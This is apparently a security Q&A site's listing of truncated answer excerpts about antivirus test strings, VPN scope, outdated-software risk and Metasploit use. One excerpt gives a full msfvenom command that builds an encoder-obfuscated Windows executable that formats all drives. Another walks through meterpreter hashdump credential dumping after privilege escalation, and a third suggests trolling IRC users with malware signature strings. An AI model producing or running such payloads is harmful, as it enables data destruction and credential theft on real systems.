Hot answers tagged

2

Although the EICAR test string won't cause logs to be deleted when it is appended to them, there are other strings which will. You can piss a lot of people off on IRC by going on large channels and posting strings that come from genuinely malicious code and see how many people disconnect instantly when their AV kills the IRC client, just to rejoin a short ...


2

It's as simple as: msfvenom -a x86 --platform windows -p windows/format_all_drives -e x86/shikata_ga_nai -f exe -o /tmp/1.exe where the -a option is used to specify the architecture, the -p option is used to specify the payload, the -e option is used to specify the encoder, the -f option is used to specify the output format (exein this case) and the -o ...


1

You are not missing anything. Protections and controls have a scope. A VPN's scope is from the client to the VPN server. Beyond that is outside of the VPN's scope. But protections also happen in layers. Most, if not all, web traffic is sent using TLS. So, it is not as simple as "listening" to the traffic that the VPN sends on, since that traffic ...


1

Is it possible that malware can enter my PC through this outdated software? What happens when I uninstall the software? Yes. If the software have a handler that can be triggered by opening an attachment or a web page, malware can lead to the OS to open the vulnerable software and exploit it. If you uninstall the software, the port is closed, but malware ...


1

Can malware enter my PC through this outdated software? If the software exposes network services, then most certainly. If not, then the attacker would have to find a way to trigger the outdated software. Like, emailing you an attachment that uses that software. But entering your PC is just one factor to consider. Escalating access once on your PC is the ...


1

As the OP states, I received the same error/output after initially escalating privs to system. meterpreter > hashdump [-] 2007: Operation failed: The parameter is incorrect. I remembered that during the exploit there was output saying that notepad was being used to kick it off. So I ran getpid and ps to see what my current process was. Turned out I was ...


Only top voted, non community-wiki answers of a minimum length are eligible